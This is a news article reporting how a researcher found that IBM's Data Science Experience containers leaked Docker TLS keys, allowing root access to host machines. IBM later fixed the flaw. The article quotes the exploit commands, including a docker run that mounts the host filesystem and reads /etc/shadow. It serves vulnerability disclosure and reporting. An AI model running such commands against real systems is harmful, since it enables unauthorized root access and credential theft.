Big Blue's big blunder: IBM accidentally hands over root access to its data science servers

Private Docker Swarm keys leak into public containers


IBM left private keys to the Docker host environment in its Data Science Experience service inside freely available containers.

This potentially granted the cloud service's users root access to the underlying container-hosting machines – and potentially to other machines in Big Blue's Spark computing cluster. Effectively, Big Blue handed its cloud users the secrets needed to potentially commandeer and control its service's computers.

Technology consultant Wayne Chang identified the privilege escalation flaw following an IBM event touting the data science technology on January 31, and reported it to Big Blue the following day.

Two weeks later on February 15 – an unusually short time in the world of vulnerability disclosures – IBM corrected the cock-up, we're told.

In a blog post on Tuesday, Chang said he identified the flaw after signing up for a free demo to try the service out.

"It was a misconfiguration vulnerability with very severe consequences," Chang wrote. "In short, they left all the Docker TLS keys in the container, which is the same as leaving a jail cell's key inside the jail cell."

The Docker TLS keys are used to secure the Docker Swarm host API.

From the RStudio Web Environment that IBM provides, Chang said exploiting the vulnerability was simply a matter of downloading and extracting Docker...

system("wget https://test.docker.com/builds/Linux/x86_64/docker-1.13.1-rc1.tgz")
system("tar -xvzf docker*.tgz")

...and then using the Docker binary in conjunction with its certificates to obtain what amounts to root access to the host using volume mounts:

system("DOCKER_API_VERSION=1.22 ./docker/docker -H 172.17.0.1 \
       --tlscacert /certs/ca.pem --tlscert /certs/cert.pem \
       --tlskey /certs/key.pem \
       run -v /:/host debian cat /host/etc/shadow")

Had the flaw been exploited, IBM customer data could have been at risk.

Chang has recommended that IBM implement a number of improvements to its security architecture. He has also suggested that IBM re-image all affected machines, in case someone identified this flaw earlier and installed rootkits or other malware.

IBM did not immediately respond to a request for comment.

In an email to The Register, Chang said he's convinced that Docker and containers can be implemented securely and reliability and that these technologies have the potential to enhance security. But he chided IBM for failing to catch the flaw.

"I think that IBM already has some amazing infosec people and a genuine commitment to protecting their services, and it's a matter of instilling security culture and processes across their entire organization," Chang observed. "That said, any company that has products allowing users to run untrusted code should think long and hard about their system architecture."

Chang said that in the race to build new technologies, security is often an afterthought.

"This is not to imply that containers were poorly designed (because I don't think they were), but more that they're so new that best practices in their use are still being actively developed," Chang said.

"Compare a newer-model table saw to one decades old: The new one comes stock with an abundance of safety features including emergency stopping, a riving knife, push sticks, etc, as a result of evolving culture and standards through time and understanding."

Coincidentally, the recent introduction of Docker Datacenter includes some improvements in how secrets can be managed in conjunction with containers. ®

Broader topics


Other stories you might like

  • IBM buys Randori to address multicloud security messes
    Big Blue joins the hot market for infosec investment

    RSA Conference IBM has expanded its extensive cybersecurity portfolio by acquiring Randori – a four-year-old startup that specializes in helping enterprises manage their attack surface by identifying and prioritizing their external-facing on-premises and cloud assets.

    Big Blue announced the Randori buy on the first day of the 2022 RSA Conference on Monday. Its plan is to give the computing behemoth's customers a tool to manage their security posture by looking at their infrastructure from a threat actor's point-of-view – a position IBM hopes will allow users to identify unseen weaknesses.

    IBM intends to integrate Randori's software with its QRadar extended detection and response (XDR) capabilities to provide real-time attack surface insights for tasks including threat hunting and incident response. That approach will reduce the quantity of manual work needed for monitoring new applications and to quickly address emerging threats, according to IBM.

    Continue reading
  • UK government seeks views on cloud, datacenter security
    Consultation asks for contributions from industry to better understand digital threats

    The UK government has kicked off a consultation to collate feedback on strengthening the security and resilience of local datacenters and cloud services to protect against outages and national security threats.

    Companies that run, purchase or rent any element of a datacenter are being asked to detail the types of customers they serve.

    Announced by the Department for Digital, Culture, Media and Sport (DCMS) late last week, the move is perhaps a recognition that the UK may need to beef up measures to safeguard key infrastructure against cyber threats and other disruptions.

    Continue reading
  • Inside the RSAC expo: Buzzword bingo and the bear in the room
    We mingle with the vendors so you don't have to

    RSA Conference Your humble vulture never liked conference expos – even before finding myself on the show floor during a global pandemic. Expo halls are a necessary evil that are predominatly visited to find gifts to bring home to the kids. 

    Do organizations really choose security vendors based on a booth? The whole expo hall idea seems like an outdated business model – for the vendors, anyway. Although the same argument could be made for conferences in general.

    For the most part, all of the executives and security researchers set up shop offsite – either in swanky hotels and shared office space (for the big-wigs) or at charming outdoor chess tables in Yerba Buena Gardens. Many of them said they avoided the expo altogether.

    Continue reading

Biting the hand that feeds IT © 1998–2022